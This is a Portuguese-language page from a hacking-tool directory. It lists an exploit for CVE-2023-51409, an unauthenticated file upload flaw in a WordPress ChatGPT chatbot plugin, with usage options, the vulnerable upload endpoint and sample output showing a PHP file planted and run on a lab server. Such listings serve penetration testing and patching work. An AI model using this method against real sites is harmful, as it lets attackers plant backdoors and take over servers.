Skip to content
KitploitKITPLOIT
FerramentasBlog
Log in
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2023-51409 — Exploit automatizado para CVE-2023-51409, uma vulnerabilidade de upload arbitrário de arquivos não autenticada no plugin AI Engine ChatGPT Chatbot para WordPress, permitindo a implantação de backdoor PHP. | Kitploit
Ferramentas/GitHubGitHub/nxploited/cve-2023-51409
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de Penetração
GitHubnxploited/cve-2023-51409

CVE-2023-51409

Exploit automatizado para CVE-2023-51409, uma vulnerabilidade de upload arbitrário de arquivos não autenticada no plugin AI Engine ChatGPT Chatbot para WordPress, permitindo a implantação de backdoor PHP.

Ver Repositório
1há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2023-51409

AI Engine: ChatGPT Chatbot <= 1.9.98 - Upload Arbitrário de Arquivo Não Autenticado via rest_upload

Descrição

Isso pode permitir que um ator malicioso faça upload de qualquer tipo de arquivo para o seu site. Isso pode incluir backdoors que são executados para obter acesso adicional ao seu site.

Uso:

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     Base URL of the WordPress instance.
  -code PHP_CODE, --php_code PHP_CODE
  PHP code to upload (default, id).

O resultado

[INFO] Initiating version check for target.
[INFO] Target plugin version detected: 1.9.98
[VULNERABLE] Detected vulnerable plugin version. Proceeding with exploitation.
[INFO] Target is vulnerable. Proceeding with file upload.
[INFO] Attempting to upload file: Nxploit.php to endpoint: http://192.168.100.74:888/wordpress/wp-json/mwai-ui/v1/files/upload
[SUCCESS] File uploaded successfully! Accessible at: http://192.168.100.74:888/wordpress/wp-content/uploads/2025/01/Nxploit.php
[INFO] Exploitation complete. Uploaded file URL: http://192.168.100.74:888/wordpress/wp-content/uploads/2025/01/Nxploit.php

Código php padrão

id 
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Baixar ferramenta